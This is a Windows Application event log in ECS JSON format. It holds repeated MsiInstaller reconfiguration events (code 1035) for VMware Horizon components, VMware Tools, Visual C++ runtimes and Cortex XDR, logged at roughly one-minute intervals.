{"@timestamp":1657392370886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169879}}
{"@timestamp":1657392370913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169880}}
{"@timestamp":1657392370939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169881}}
{"@timestamp":1657392370975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169882}}
{"@timestamp":1657392371002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169883}}
{"@timestamp":1657392430642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169884}}
{"@timestamp":1657392430669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169885}}
{"@timestamp":1657392430719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169886}}
{"@timestamp":1657392430759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169887}}
{"@timestamp":1657392430787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169888}}
{"@timestamp":1657392430818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169889}}
{"@timestamp":1657392430846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169890}}
{"@timestamp":1657392430872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169891}}
{"@timestamp":1657392430908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169892}}
{"@timestamp":1657392430935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169893}}
{"@timestamp":1657392490570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169894}}
{"@timestamp":1657392490597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169895}}
{"@timestamp":1657392490646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169896}}
{"@timestamp":1657392490691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169897}}
{"@timestamp":1657392490720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169898}}
{"@timestamp":1657392490750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169899}}
{"@timestamp":1657392490776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169900}}
{"@timestamp":1657392490803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169901}}
{"@timestamp":1657392490839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169902}}
{"@timestamp":1657392490866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169903}}
{"@timestamp":1657392550799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169904}}
{"@timestamp":1657392550826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169905}}
{"@timestamp":1657392550876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169906}}
{"@timestamp":1657392550915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169907}}
{"@timestamp":1657392550942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169908}}
{"@timestamp":1657392550972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169909}}
{"@timestamp":1657392551000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169910}}
{"@timestamp":1657392551026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169911}}
{"@timestamp":1657392551062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169912}}
{"@timestamp":1657392551088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169913}}
{"@timestamp":1657392610767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169914}}
{"@timestamp":1657392610794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169915}}
{"@timestamp":1657392610846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169916}}
{"@timestamp":1657392610888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169917}}
{"@timestamp":1657392610918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169918}}
{"@timestamp":1657392610951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169919}}
{"@timestamp":1657392610981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169920}}
{"@timestamp":1657392611009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169921}}
{"@timestamp":1657392611047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169922}}
{"@timestamp":1657392611076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169923}}
{"@timestamp":1657392670671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169924}}
{"@timestamp":1657392670697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169925}}
{"@timestamp":1657392670747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169926}}
{"@timestamp":1657392670786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169927}}
{"@timestamp":1657392670814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169928}}
{"@timestamp":1657392670844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169929}}
{"@timestamp":1657392670870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169930}}
{"@timestamp":1657392670896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169931}}
{"@timestamp":1657392670932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169932}}
{"@timestamp":1657392670959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169933}}
{"@timestamp":1657392731010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169934}}
{"@timestamp":1657392731036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169935}}
{"@timestamp":1657392731086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169936}}
{"@timestamp":1657392731126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169937}}
{"@timestamp":1657392731154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169938}}
{"@timestamp":1657392731184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169939}}
{"@timestamp":1657392731211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169940}}
{"@timestamp":1657392731237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169941}}
{"@timestamp":1657392731273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169942}}
{"@timestamp":1657392731300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169943}}
{"@timestamp":1657392790726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169944}}
